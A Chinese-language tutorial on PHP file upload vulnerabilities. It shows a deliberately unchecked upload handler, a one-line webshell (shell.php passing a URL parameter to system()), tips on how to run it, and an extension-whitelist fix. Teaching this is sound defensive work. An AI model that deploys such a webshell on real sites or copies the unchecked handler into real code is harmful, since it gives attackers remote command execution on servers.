一、文件上传的危害
在PHP项目中,提供上传功能并未在服务端对上传的文件格式进行校验,将存在巨大风险。
如果恶意攻击者利用上传漏洞上传一些webshell,则可能完全控制整个网站程序,执行系统命令,获取数据库连接字串进行操作数据库等危险操作。
二、被攻击示例
html文件:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>上传文件漏洞测试</title>
</head>
<body>
<form action="upload.php" method = "post" ENCTYPE="multipart/form-data">
请上传文件
<input type="file" name="upload_file"><br><br>
<input type="submit" value="上传">
</form>
</body>
</html>
php文件 upload.php
<?php
declare(strict_types = 1);
$uploadDir = 'uploads/';
$uploadFile = $uploadDir . $_FILES['upload_file']['name'];
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $uploadFile)) {
echo '上传成功';
} else {
echo '错误码为'.$_FILES['upload_file']['error'];
}
正常上传文件是没有问题的,但前面说过,这是存在漏洞的,现在我们开始模拟这个漏洞。
上传一个攻击文件 shell.php
<?php
declare(strict_types = 1);
system($_GET['shell']);
上传之后我们访问 website/上传目录/shell.php,并在后面添加shell命令进行攻击。
模拟失败原因:
1、文件目录权限不够导致上传文件失败,设置目录权限为777再测试
2、php.ini配置问题,配置项 disable_functions
设置了system为禁用方法。
三、解决方案
2、选择将文件存储到自己的服务器时,处理上传文件时注意以下几点:
(1)检查上传文件的类型及扩展名
(2)php.ini 配置好禁用函数 disable_functions
<?php
declare(strict_types = 1);
$uploadDir = 'uploads/';
$validExtensionList = ['png', 'jpg', 'jpeg', 'gif'];
// 获取上传文件扩展名
$fileExtension = pathinfo($_FILES['upload_file']['name'], PATHINFO_EXTENSION);
if (!in_array($fileExtension, $validExtensionList)) {
die('上传文件类型非法');
}
$fileName = $uploadDir . getRandomString(12) . mt_rand(10000,99999) .'.'. $fileExtension;
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $fileName)) {
echo '上传成功,文件名为 '.$fileName;
} else {
echo '错误码为'.$_FILES['upload_file']['error'];
}
/**
* 生成随机字符串
*
* @param int $len
* @param string|null $chars
* @return string
*/
function getRandomString(int $length, string $chars = null) : string
{
if (is_null($chars)) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ23456789";
}
$str = '';
$charLength = strlen($chars) - 1;
for ($i = 0; $i < $length; $i++) {
$str .= $chars[mt_rand(0, $charLength)];
}
return $str;
}